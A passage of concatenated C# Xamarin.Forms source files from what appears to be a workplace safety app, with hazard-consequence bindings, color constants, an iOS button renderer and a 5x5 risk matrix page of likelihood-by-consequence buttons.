consequences_7.frame.SetBinding(Frame.BackgroundColorProperty, nameof(ViewModel.BackgroundColorChemicalExposure));
consequences_7.labelConsequences.SetBinding(Label.TextProperty, nameof(ViewModel.SelectedChemicalExposure));
consequences_7.labelConsequences.SetBinding(Label.TextColorProperty, nameof(ViewModel.ChemicalExposurelabelsColors));
consequences_7.labelInfo.SetBinding(CustomLabel.IsThinProperty, nameof(ViewModel.IsThinChemicalExsposureAttributes));
consequences_7.labelInfo.SetBinding(Label.TextColorProperty, nameof(ViewModel.ChemicalExposurelabelsColors));
consequences_7.image.SetBinding(CachedImage.SourceProperty, nameof(ViewModel.ChemicalExsposureSource));
consequences_8.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ConsequencesComand));
consequences_8.frame.SetBinding(Frame.BackgroundColorProperty, nameof(ViewModel.BackgroundColorHotColdSubstance));
consequences_8.labelConsequences.SetBinding(Label.TextProperty, nameof(ViewModel.SelectedHotColdSubstance));
consequences_8.labelConsequences.SetBinding(Label.TextColorProperty, nameof(ViewModel.HotColdSubstancelabelsColors));
consequences_8.labelInfo.SetBinding(CustomLabel.IsThinProperty, nameof(ViewModel.IsThinHotColdSubstanceAttributes));
consequences_8.labelInfo.SetBinding(Label.TextColorProperty, nameof(ViewModel.HotColdSubstancelabelsColors));
consequences_8.image.SetBinding(CachedImage.SourceProperty, nameof(ViewModel.HotColdSubstanceSource));
consequences_9.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ConsequencesComand));
consequences_9.frame.SetBinding(Frame.BackgroundColorProperty, nameof(ViewModel.BackgroundColorHHotSurface));
consequences_9.labelConsequences.SetBinding(Label.TextProperty, nameof(ViewModel.SelectedHotSurface));
consequences_9.labelConsequences.SetBinding(Label.TextColorProperty, nameof(ViewModel.HotSurfacelabelsColors));
consequences_9.labelInfo.SetBinding(CustomLabel.IsThinProperty, nameof(ViewModel.IsThinHotSurfaceAttributes));
consequences_9.labelInfo.SetBinding(Label.TextColorProperty, nameof(ViewModel.HotSurfacelabelsColors));
consequences_9.image.SetBinding(CachedImage.SourceProperty, nameof(ViewModel.HotSurfaceSource));
}
private CustomStackLayout CreateStackLayout()
{
var stack = new CustomStackLayout()
{
};
return stack;
}
}
}
<file_sep>using System;
using Xamarin.Forms;
namespace GSK_Saftey.Settings.Constants
{
public class ColorConstants
{
public Color WhiteColor { get; set; } = Color.FromRgb(254, 249, 248);
public Color GrayColor { get; set; } = Color.FromRgb(169, 176, 185);
public Color OrangeColor { get; set; } = Color.FromRgb(231, 65, 17);
public Color BackgroundGrayColor { get; set; } = Color.FromRgb(25, 49, 56);
public Color GrayBorderColor { get; set; } = Color.FromRgb(192, 204, 217);
public Color FontBlueColor { get; set; } = Color.FromRgb(8, 64, 83);
public Color SilverColor { get; set; } = Color.FromRgb(91, 105, 119);
public Color LabelsColors { get; set; } = Color.FromRgb(85,85,85);
public Color BlueStepBarBorderColor { get; set; } = Color.FromRgb(50, 139, 154);
public Color EntryBackroundColor { get; set; } = Color.FromRgb(245, 245, 245);
public Color EntryTextColor { get; set; } = Color.FromRgb(93, 123, 132);
public Color DarkBlueStepBarColor { get; set; } = Color.FromRgb(27, 42, 47);
public Color AttentionPopUpBackgroundColor { get; set; } = Color.White;
public Color ConsequencesBackgroundColor { get; set; } = Color.FromRgb(185, 191, 198);
// Risk Matrix Colors
public Color DarkBlueFontColor { get; set; } = Color.FromRgb(48, 95, 104);
public Color YellowBackgroundColor { get; set; } = Color.FromRgb(238,209,51);
public Color GreenBackgroundColor { get; set; } = Color.FromRgb(73,144,57);
public Color RedBackgroundColor { get; set; } = Color.FromRgb(227,68,34);
public Color OrangeBackgroundColor { get; set; } = Color.FromRgb(240,131,34);
public Color YellowUnselectedTextColor { get; set; } = Color.FromRgb(249, 237, 172);
public Color GreenUnselectedTextColor { get; set; } = Color.FromRgb(212, 230, 209);
public Color OrangeUnselectedTextColor { get; set; } = Color.FromRgb(251, 222, 193);
public Color RedUnselectedTextColor { get; set; } = Color.FromRgb(242, 184, 168);
public Color GreenUnselectedColor { get; set; } = Color.FromRgb(163, 199, 155);
public Color YellowUnselectedColor { get; set; } = Color.FromRgb(246, 231, 143);
public Color OrangeUnselectedColor { get; set; } = Color.FromRgb(247, 192, 133);
public Color RedUnselectedColor { get; set; } = Color.FromRgb(239, 161, 139);
//Statusbar and navBar colors
public Color StatusBarBackgroundColor { get; set; } = Color.FromRgb(13, 25, 28);
public Color NavBarbackgroundColor { get; set; } = Color.FromRgb(15, 32, 35);
// Image View colors
public Color ImageViewBackgroundColor { get; set; } = Color.FromRgb(89, 116, 122);
public Color ImageViewTextColor { get; set; } = Color.FromRgb(44, 65, 71);
public Color PotentialConsequencesSelectedColor { get; set; } = Color.FromRgb(217, 217, 217);
}
}
<file_sep>using System;
using System.ComponentModel;
using System.Linq;
using CoreAnimation;
using CoreGraphics;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.iOS.CustomRenderers;
using UIKit;
using Xamarin.Forms;
using Xamarin.Forms.Platform.iOS;
[assembly: ExportRenderer(typeof(CustomButton), typeof(CustomButtonRenderer))]
namespace GSK_Saftey.iOS.CustomRenderers
{
public class CustomButtonRenderer : ButtonRenderer
{
public CustomButtonRenderer()
{
}
public override void LayoutSubviews()
{
foreach (var layer in Control?.Layer.Sublayers.Where(layer => layer is CAGradientLayer))
{
layer.Frame = Control.Bounds;
}
base.LayoutSubviews();
}
protected override void OnElementChanged(ElementChangedEventArgs<Xamarin.Forms.Button> e)
{
base.OnElementChanged(e);
var button = e.NewElement as CustomButton;
if (e.OldElement == null)
{
var gardient = new CAGradientLayer();
gardient.CornerRadius = Control.Layer.CornerRadius = button.CornerRadius;
gardient.Colors = new CGColor[]
{
button.BackgroundStartColor.ToCGColor(),
button.BackgroundStartColor.ToCGColor()
};
var layer = Control?.Layer.Sublayers.FirstOrDefault();
Control?.Layer.InsertSublayerBelow(gardient, layer);
Control.SetFont(button);
if (Control != null)
{
Control.TitleLabel.LineBreakMode = UILineBreakMode.WordWrap;
Control.TitleLabel.Lines = 0;
Control.TitleLabel.TextAlignment = UITextAlignment.Center;
}
}
}
protected override void OnElementPropertyChanged(object sender, PropertyChangedEventArgs e)
{
base.OnElementPropertyChanged(sender, e);
var customButton = (CustomButton)sender;
if (customButton != null && Control != null && e.PropertyName == "IsThinProperty")
{
Control.SetFont(customButton);
}
}
}
}
<file_sep>using System;
namespace GSK_Saftey.Models
{
public class SavedDraftsModel
{
public string Title { get; set; }
public string Date { get; set; }
}
}
<file_sep>using System;
using GSK_Saftey.Enums;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.Pages.ContentViews;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using GSK_Saftey.Pages.CustomControl;
using GSK_Saftey.Settings.Constants;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages
{
public class RiskMatrixPage : BasePage
{
CustomLabel labelLikelihood, labelConsequences;
CustomButton buttonRareInsignificant1, buttonRareMinor2, buttonRareModerate3, buttonRareMajor4, buttonRareCatastrophic5, buttonUnikelyInsignificant2, buttonUnikelyMinor4, buttonUnikelyModerate6,
buttonUnikelyMajor8, buttonUnikelyCatastrophic10, buttonPossibleInsignificant3, buttonPossibleMinor6, buttonPossibleModerate9, buttonPossibleMajor12, buttonPossibleCatastrophic15,
buttonLikelyInsignificant4, buttonLikelyMinor8, buttonLikelyModerate12, buttonLikelyMajor16, buttonLikelyCatastrophic20, buttonAlmostCertainInsignificant5, buttonAlmostCertainMinor10, buttonAlmostCertainModerate15,
buttonAlmostCertainMajor20, buttonAlmostCertainCatastrophic25;
CustomGrid grid;
CustomButton buttonInsignificant, buttonMinor, buttonModerate, buttonMajor, buttonCatastrophic, buttonRare, buttonUnikely,
buttonPossible, buttonLikely, buttonAlmostCertain;
CustomImageButton buttonImageNext;
CustomStackLayout stackMain, stackConsequences, stackLikelihood;
CustomScrollView scrollView;
Image imageHorizontalArrow, imageVerticalArrow;
StepBarView stepBarView;
SaveCancelView saveCancelView;
private int currentStep = 4;
private RiskMatrixPageViewModel ViewModel
{
get => BindingContext as RiskMatrixPageViewModel;
set => BindingContext = value;
}
public RiskMatrixPage(RiskMatrixPageViewModel viewModel)
{
this.ViewModel = viewModel;
this.Title = AppResources.RiskMatrix;
Init();
}
private void Init()
{
#region Declarations
// Labels
labelConsequences = CreateLabel(AppResources.Consequences, AppSetting.Current.Colors.LabelsColors, AppSetting.Current.FontSize.Medium);
labelLikelihood = CreateLabel(AppResources.Likelihood, AppSetting.Current.Colors.LabelsColors, AppSetting.Current.FontSize.Medium);
// Images
imageVerticalArrow = new Image()
{
Source = Images.UpArrow,
BackgroundColor = Color.Transparent,
HeightRequest = ScreenWidth * 0.060,
WidthRequest = ScreenWidth * 0.060
};
imageHorizontalArrow = new Image()
{
HeightRequest = ScreenWidth * 0.060,
WidthRequest = ScreenWidth * 0.060,
Source = Images.RightArrow,
BackgroundColor = Color.Transparent,
};
// Buttons
buttonImageNext = CreateImageButton(AppResources.Next, Images.NextImage, AppSetting.Current.Colors.WhiteColor, AppSetting.Current.FontSize.Large, AppSetting.Current.Colors.OrangeColor, true);
buttonImageNext.button.HeightRequest = ScreenHeight * 0.065;
buttonImageNext.button.WidthRequest = ScreenWidth * 0.800;
buttonImageNext.image.HeightRequest = ScreenHeight * 0.040;
buttonImageNext.image.WidthRequest = ScreenHeight * 0.040;
buttonImageNext.Margin = new Thickness(0, ScreenHeight * 0.030, 0, 20);
CreateBorderButtonsInGrid();
CreateButtonsInGrid();
// Layouts
stackMain = new CustomStackLayout();
stackConsequences = CreateStack();
stackConsequences.Margin = new Thickness(5, 10, 0, 0);
stackLikelihood = CreateStack();
stackLikelihood.Margin = new Thickness(0, 5, 0, 0);
scrollView = new CustomScrollView();
scrollView.WidthRequest = ScreenWidth * 0.950;
scrollView.HorizontalOptions = LayoutOptions.Center;
saveCancelView = new SaveCancelView();
saveCancelView.WidthRequest = ScreenWidth * 0.800;
saveCancelView.HorizontalOptions = LayoutOptions.Center;
grid = CreateGrid(6, 6);
// StepBar
stepBarView = new StepBarView(currentStep);
stepBarView.Margin = new Thickness(0, ScreenHeight * 0.050, 0, ScreenHeight * 0.010);
#endregion
#region Bindings
saveCancelView.saveImageButton.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonSaveCommand));
buttonImageNext.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonNextCommand));
// Border buttons
buttonAlmostCertain.SetBinding(Button.CommandProperty, nameof(ViewModel.ShowMessageCommand));
// Grid Buttons
GridButtonsBindings();
#endregion
#region Fill Layouts
FillGrid();
FillLayout();
scrollView.Content = stackMain;
Content = scrollView;
#endregion
}
private void CreateBorderButtonsInGrid()
{
buttonRare = CreateBorderButton(AppResources.Rare);
buttonRare.CommandParameter = RiskMatrixBorderEnum.Rare;
buttonUnikely = CreateBorderButton(AppResources.Unlikely);
buttonUnikely.CommandParameter = RiskMatrixBorderEnum.Unikely;
buttonPossible = CreateBorderButton(AppResources.Possible);
buttonPossible.CommandParameter = RiskMatrixBorderEnum.Possible;
buttonLikely = CreateBorderButton(AppResources.Likely);
buttonLikely.CommandParameter = RiskMatrixBorderEnum.Likely;
buttonAlmostCertain = CreateBorderButton(AppResources.AlmostCertain);
buttonAlmostCertain.CommandParameter = RiskMatrixBorderEnum.AlmostCertain;
buttonInsignificant = CreateBorderButton(AppResources.Insignificant);
buttonInsignificant.CommandParameter = RiskMatrixBorderEnum.Insignificant;
buttonMinor = CreateBorderButton(AppResources.Minor);
buttonMinor.CommandParameter = RiskMatrixBorderEnum.Minor;
buttonModerate = CreateBorderButton(AppResources.Moderate);
buttonModerate.CommandParameter = RiskMatrixBorderEnum.Moderate;
buttonMajor = CreateBorderButton(AppResources.Major);
buttonMajor.CommandParameter = RiskMatrixBorderEnum.Major;
buttonCatastrophic = CreateBorderButton(AppResources.Catastrophic);
buttonCatastrophic.CommandParameter = RiskMatrixBorderEnum.Catastrophic;
}
private void CreateButtonsInGrid()
{
buttonRareInsignificant1 = CreateButtonInTheGrid("1", buttonRareInsignificant1);
buttonRareInsignificant1.CommandParameter = RiskMatrixEnum.RareInsignificant;
buttonRareMinor2 = CreateButtonInTheGrid("2", buttonRareMinor2);
buttonRareMinor2.CommandParameter = RiskMatrixEnum.RareMinor;
buttonRareModerate3 = CreateButtonInTheGrid("3", buttonRareModerate3);
buttonRareModerate3.CommandParameter = RiskMatrixEnum.RareModerate;
buttonRareMajor4 = CreateButtonInTheGrid("4", buttonRareMajor4);
buttonRareMajor4.CommandParameter = RiskMatrixEnum.RareMajor;
buttonRareCatastrophic5 = CreateButtonInTheGrid("5", buttonRareCatastrophic5);
buttonRareCatastrophic5.CommandParameter = RiskMatrixEnum.RareCatastrophic;
buttonUnikelyInsignificant2 = CreateButtonInTheGrid("2", buttonUnikelyInsignificant2);
buttonUnikelyInsignificant2.CommandParameter = RiskMatrixEnum.UnikelyInsignificant;
buttonUnikelyMinor4 = CreateButtonInTheGrid("4", buttonUnikelyMinor4);
buttonUnikelyMinor4.CommandParameter = RiskMatrixEnum.UnikelyMinor;
buttonUnikelyModerate6 = CreateButtonInTheGrid("6", buttonUnikelyModerate6);
buttonUnikelyModerate6.CommandParameter = RiskMatrixEnum.UnikelyModerate;
buttonUnikelyMajor8 = CreateButtonInTheGrid("8", buttonUnikelyMajor8);
buttonUnikelyMajor8.CommandParameter = RiskMatrixEnum.UnikelyMajor;
buttonUnikelyCatastrophic10 = CreateButtonInTheGrid("10", buttonUnikelyCatastrophic10);
buttonUnikelyCatastrophic10.CommandParameter = RiskMatrixEnum.UnikelyCatastrophic;
buttonPossibleInsignificant3 = CreateButtonInTheGrid("3", buttonPossibleInsignificant3);
buttonPossibleInsignificant3.CommandParameter = RiskMatrixEnum.PossibleInsignificant;
buttonPossibleMinor6 = CreateButtonInTheGrid("6", buttonPossibleMinor6);
buttonPossibleMinor6.CommandParameter = RiskMatrixEnum.PossibleMinor;
buttonPossibleModerate9 = CreateButtonInTheGrid("9", buttonPossibleModerate9);
buttonPossibleModerate9.CommandParameter = RiskMatrixEnum.PossibleModerate;
buttonPossibleMajor12 = CreateButtonInTheGrid("12", buttonPossibleMajor12);
buttonPossibleMajor12.CommandParameter = RiskMatrixEnum.PossibleMajor;
buttonPossibleCatastrophic15 = CreateButtonInTheGrid("15", buttonPossibleCatastrophic15);
buttonPossibleCatastrophic15.CommandParameter = RiskMatrixEnum.PossibleCatastrophic;
buttonLikelyInsignificant4 = CreateButtonInTheGrid("4", buttonLikelyInsignificant4);
buttonLikelyInsignificant4.CommandParameter = RiskMatrixEnum.LikelyInsignificant;
buttonLikelyMinor8 = CreateButtonInTheGrid("8", buttonLikelyMinor8);
buttonLikelyMinor8.CommandParameter = RiskMatrixEnum.LikelyMinor;
buttonLikelyModerate12 = CreateButtonInTheGrid("12", buttonLikelyModerate12);
buttonLikelyModerate12.CommandParameter = RiskMatrixEnum.LikelyModerate;
buttonLikelyMajor16 = CreateButtonInTheGrid("16", buttonLikelyMajor16);
buttonLikelyMajor16.CommandParameter = RiskMatrixEnum.LikelyMajor;
buttonLikelyCatastrophic20 = CreateButtonInTheGrid("20", buttonLikelyCatastrophic20);
buttonLikelyCatastrophic20.CommandParameter = RiskMatrixEnum.LikelyCatastrophic;
buttonAlmostCertainInsignificant5 = CreateButtonInTheGrid("5", buttonAlmostCertainInsignificant5);
buttonAlmostCertainInsignificant5.CommandParameter = RiskMatrixEnum.AlmostCertainInsignificant;
buttonAlmostCertainMinor10 = CreateButtonInTheGrid("10", buttonAlmostCertainMinor10);
buttonAlmostCertainMinor10.CommandParameter = RiskMatrixEnum.AlmostCertainMinor;
buttonAlmostCertainModerate15 = CreateButtonInTheGrid("15", buttonAlmostCertainModerate15);
buttonAlmostCertainModerate15.CommandParameter = RiskMatrixEnum.AlmostCertainModerate;
buttonAlmostCertainMajor20 = CreateButtonInTheGrid("20", buttonAlmostCertainMajor20);
buttonAlmostCertainMajor20.CommandParameter = RiskMatrixEnum.AlmostCertainMajor;
buttonAlmostCertainCatastrophic25 = CreateButtonInTheGrid("25", buttonAlmostCertainCatastrophic25);
buttonAlmostCertainCatastrophic25.CommandParameter = RiskMatrixEnum.AlmostCertainCatastrophic;
}
private void GridButtonsBindings()
{
// Border buttons
buttonAlmostCertain.SetBinding(CustomButton.IsThinProperty, nameof(ViewModel.IsThinAlmostCertain));
buttonRare.SetBinding(CustomButton.IsThinProperty, nameof(ViewModel.IsThinRare));
buttonUnikely.SetBinding(CustomButton.IsThinProperty, nameof(ViewModel.IsThinUnlikely));
buttonPossible.SetBinding(CustomButton.IsThinProperty, nameof(ViewModel.IsThinPossible));
buttonLikely.SetBinding(CustomButton.IsThinProperty, nameof(ViewModel.IsThinLikely));
buttonInsignificant.SetBinding(CustomButton.IsThinProperty, nameof(ViewModel.IsThinInsignificant));
buttonMinor.SetBinding(CustomButton.IsThinProperty, nameof(ViewModel.IsThinMinor));
buttonModerate.SetBinding(CustomButton.IsThinProperty, nameof(ViewModel.IsThinModerate));
buttonMajor.SetBinding(CustomButton.IsThinProperty, nameof(ViewModel.IsThinMajor));
buttonCatastrophic.SetBinding(CustomButton.IsThinProperty, nameof(ViewModel.IsThinCatastrophic));
// Buttons in Grid
buttonRareInsignificant1.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.RareInsignificant1Color));
buttonRareInsignificant1.SetBinding(Button.TextColorProperty, nameof(ViewModel.RareInsignificant1TextColor));
buttonRareInsignificant1.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonRareMinor2.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.RareMinor2Color));
buttonRareMinor2.SetBinding(Button.TextColorProperty, nameof(ViewModel.RareMinor2TextColor));
buttonRareMinor2.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonRareModerate3.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.RareModerate3Color));
buttonRareModerate3.SetBinding(Button.TextColorProperty, nameof(ViewModel.RareModerate3TextColor));
buttonRareModerate3.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonRareMajor4.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.RareMajor4Color));
buttonRareMajor4.SetBinding(Button.TextColorProperty, nameof(ViewModel.RareMajor4TextColor));
buttonRareMajor4.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonRareCatastrophic5.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.RareCatastrophic5Color));
buttonRareCatastrophic5.SetBinding(Button.TextColorProperty, nameof(ViewModel.RareCatastrophic5TextColor));
buttonRareCatastrophic5.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonUnikelyInsignificant2.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.UnikelyInsignificant2Color));
buttonUnikelyInsignificant2.SetBinding(Button.TextColorProperty, nameof(ViewModel.UnikelyInsignificant2TextColor));
buttonUnikelyInsignificant2.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonUnikelyMinor4.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.UnikelyMinor4Color));
buttonUnikelyMinor4.SetBinding(Button.TextColorProperty, nameof(ViewModel.UnikelyMinor4TextColor));
buttonUnikelyMinor4.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonUnikelyModerate6.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.UnikelyModerate6Color));
buttonUnikelyModerate6.SetBinding(Button.TextColorProperty, nameof(ViewModel.UnikelyModerate6TextColor));
buttonUnikelyModerate6.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonUnikelyMajor8.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.UnikelyMajor8Color));
buttonUnikelyMajor8.SetBinding(Button.TextColorProperty, nameof(ViewModel.UnikelyMajor8TextColor));
buttonUnikelyMajor8.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonUnikelyCatastrophic10.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.UnikelyCatastrophic10Color));
buttonUnikelyCatastrophic10.SetBinding(Button.TextColorProperty, nameof(ViewModel.UnikelyCatastrophic10TextColor));
buttonUnikelyCatastrophic10.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonPossibleInsignificant3.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.PossibleInsignificant3Color));
buttonPossibleInsignificant3.SetBinding(Button.TextColorProperty, nameof(ViewModel.PossibleInsignificant3TextColor));
buttonPossibleInsignificant3.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonPossibleMinor6.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.PossibleMinor6Color));
buttonPossibleMinor6.SetBinding(Button.TextColorProperty, nameof(ViewModel.PossibleMinor6TextColor));
buttonPossibleMinor6.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonPossibleModerate9.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.PossibleModerate9Color));
buttonPossibleModerate9.SetBinding(Button.TextColorProperty, nameof(ViewModel.PossibleModerate9TextColor));
buttonPossibleModerate9.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonPossibleMajor12.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.PossibleMajor12Color));
buttonPossibleMajor12.SetBinding(Button.TextColorProperty, nameof(ViewModel.PossibleMajor12TextColor));
buttonPossibleMajor12.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonPossibleCatastrophic15.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.PossibleCatastrophic15Color));
buttonPossibleCatastrophic15.SetBinding(Button.TextColorProperty, nameof(ViewModel.PossibleCatastrophic15TextColor));
buttonPossibleCatastrophic15.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonLikelyInsignificant4.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.LikelyInsignificant4Color));
buttonLikelyInsignificant4.SetBinding(Button.TextColorProperty, nameof(ViewModel.LikelyInsignificant4TextColor));
buttonLikelyInsignificant4.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonLikelyMinor8.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.LikelyMinor8Color));
buttonLikelyMinor8.SetBinding(Button.TextColorProperty, nameof(ViewModel.LikelyMinor8TextColor));
buttonLikelyMinor8.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonLikelyModerate12.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.LikelyModerate12Color));
buttonLikelyModerate12.SetBinding(Button.TextColorProperty, nameof(ViewModel.LikelyModerate12TextColor));
buttonLikelyModerate12.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonLikelyMajor16.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.LikelyMajor16Color));
buttonLikelyMajor16.SetBinding(Button.TextColorProperty, nameof(ViewModel.LikelyMajor16TextColor));
buttonLikelyMajor16.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonLikelyCatastrophic20.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.LikelyCatastrophic20Color));
buttonLikelyCatastrophic20.SetBinding(Button.TextColorProperty, nameof(ViewModel.LikelyCatastrophic20TextColor));
buttonLikelyCatastrophic20.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonAlmostCertainInsignificant5.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.AlmostCertainInsignificant5Color));
buttonAlmostCertainInsignificant5.SetBinding(Button.TextColorProperty, nameof(ViewModel.AlmostCertainInsignificant5TextColor));
buttonAlmostCertainInsignificant5.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonAlmostCertainMinor10.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.AlmostCertainMinor10Color));
buttonAlmostCertainMinor10.SetBinding(Button.TextColorProperty, nameof(ViewModel.AlmostCertainMinor10TextColor));
buttonAlmostCertainMinor10.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonAlmostCertainModerate15.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.AlmostCertainModerate15Color));
buttonAlmostCertainModerate15.SetBinding(Button.TextColorProperty, nameof(ViewModel.AlmostCertainModerate15TextColor));
buttonAlmostCertainModerate15.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonAlmostCertainMajor20.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.AlmostCertainMajor20Color));
buttonAlmostCertainMajor20.SetBinding(Button.TextColorProperty, nameof(ViewModel.AlmostCertainMajor20TextColor));
buttonAlmostCertainMajor20.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
buttonAlmostCertainCatastrophic25.SetBinding(Button.BackgroundColorProperty, nameof(ViewModel.AlmostCertainCatastrophic25Color));
buttonAlmostCertainCatastrophic25.SetBinding(Button.TextColorProperty, nameof(ViewModel.AlmostCertainCatastrophic25TextColor));
buttonAlmostCertainCatastrophic25.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonClickedCommand));
}
private void FillLayout()
{
stackConsequences.Children.Add(labelConsequences);
stackConsequences.Children.Add(imageHorizontalArrow);
stackLikelihood.Children.Add(imageVerticalArrow);
stackLikelihood.Children.Add(labelLikelihood);
stackMain.Children.Add(stepBarView);
stackMain.Children.Add(stackConsequences);
stackMain.Children.Add(grid);
stackMain.Children.Add(stackLikelihood);
stackMain.Children.Add(buttonImageNext);
stackMain.Children.Add(saveCancelView);
}
private void FillGrid()
{
grid.Children.Add(CreateBorderButton(), 0, 0);
grid.Children.Add(buttonAlmostCertain, 0, 1);
grid.Children.Add(buttonLikely, 0, 2);
grid.Children.Add(buttonPossible, 0, 3);
grid.Children.Add(buttonUnikely, 0, 4);
grid.Children.Add(buttonRare, 0, 5);
grid.Children.Add(buttonInsignificant, 1, 0);
grid.Children.Add(buttonMinor, 2, 0);
grid.Children.Add(buttonModerate, 3, 0);
grid.Children.Add(buttonMajor, 4, 0);
grid.Children.Add(buttonCatastrophic, 5, 0);
grid.Children.Add(buttonAlmostCertainInsignificant5, 1, 1);
grid.Children.Add(buttonAlmostCertainMinor10, 2, 1);
grid.Children.Add(buttonAlmostCertainModerate15, 3, 1);
grid.Children.Add(buttonAlmostCertainMajor20, 4, 1);
grid.Children.Add(buttonAlmostCertainCatastrophic25, 5, 1);
grid.Children.Add(buttonLikelyInsignificant4, 1, 2);
grid.Children.Add(buttonLikelyMinor8, 2, 2);
grid.Children.Add(buttonLikelyModerate12, 3, 2);
grid.Children.Add(buttonLikelyMajor16, 4, 2);
grid.Children.Add(buttonLikelyCatastrophic20, 5, 2);
grid.Children.Add(buttonPossibleInsignificant3, 1, 3);
grid.Children.Add(buttonPossibleMinor6, 2, 3);
grid.Children.Add(buttonPossibleModerate9, 3, 3);
grid.Children.Add(buttonPossibleMajor12, 4, 3);
grid.Children.Add(buttonPossibleCatastrophic15, 5, 3);
grid.Children.Add(buttonUnikelyInsignificant2, 1, 4);
grid.Children.Add(buttonUnikelyMinor4, 2, 4);
grid.Children.Add(buttonUnikelyModerate6, 3, 4);
grid.Children.Add(buttonUnikelyMajor8, 4, 4);
grid.Children.Add(buttonUnikelyCatastrophic10, 5, 4);
grid.Children.Add(buttonRareInsignificant1, 1, 5);
grid.Children.Add(buttonRareMinor2, 2, 5);
grid.Children.Add(buttonRareModerate3, 3, 5);
grid.Children.Add(buttonRareMajor4, 4, 5);
grid.Children.Add(buttonRareCatastrophic5, 5, 5);
}
private CustomButton CreateButtonInTheGrid(string text, CustomButton btn)
{
btn = new CustomButton
{
Text = text,
FontSize = AppSetting.Current.FontSize.Medium,
CornerRadius = 5,
FontAttributes = FontAttributes.Bold,
};
return btn;
}
private CustomButton CreateBorderButton(string text = "")
{
var button = new CustomButton
{
Text = text,
FontSize = AppSetting.Current.FontSize.Small * 0.8,
TextColor = AppSetting.Current.Colors.FontBlueColor,
CornerRadius = 0,
IsThin = true,
HorizontalOptions = LayoutOptions.FillAndExpand,
VerticalOptions = LayoutOptions.FillAndExpand,
BackgroundColor = Color.Transparent,
};
button.SetBinding(Button.CommandProperty, nameof(ViewModel.ShowMessageCommand));
return button;
}
private CustomLabel CreateBorderLabel(string text = "")
{
var lbl = new CustomLabel
{
Text = text,
IsThin = true,
FontSize = AppSetting.Current.FontSize.Small * 0.8,
TextColor = AppSetting.Current.Colors.FontBlueColor,
VerticalTextAlignment = TextAlignment.Center,
HorizontalTextAlignment = TextAlignment.Center,
HorizontalOptions = LayoutOptions.FillAndExpand,
VerticalOptions = LayoutOptions.FillAndExpand
};
return lbl;
}
protected override CustomLabel CreateLabel(string text, Color textColor, double? fontSize = 17)
{
var lbl = base.CreateLabel(text, textColor, fontSize);
lbl.HorizontalOptions = LayoutOptions.Start;
lbl.VerticalTextAlignment = TextAlignment.Center;
lbl.FontAttributes = FontAttributes.Bold;
return lbl;
}
private CustomStackLayout CreateStack()
{
var stack = new CustomStackLayout();
stack.Orientation = StackOrientation.Horizontal;
stack.Margin = new Thickness(5, 0, 0, 0);
stack.Spacing = 5;
return stack;
}
protected override CustomGrid CreateGrid(int rows, int columns)
{
if (ScreenWidth > ScreenHeight)
{
grid = new CustomGrid
{
RowSpacing = ScreenHeight * 0.005,
ColumnSpacing = ScreenHeight * 0.005,
RowDefinitions =
{
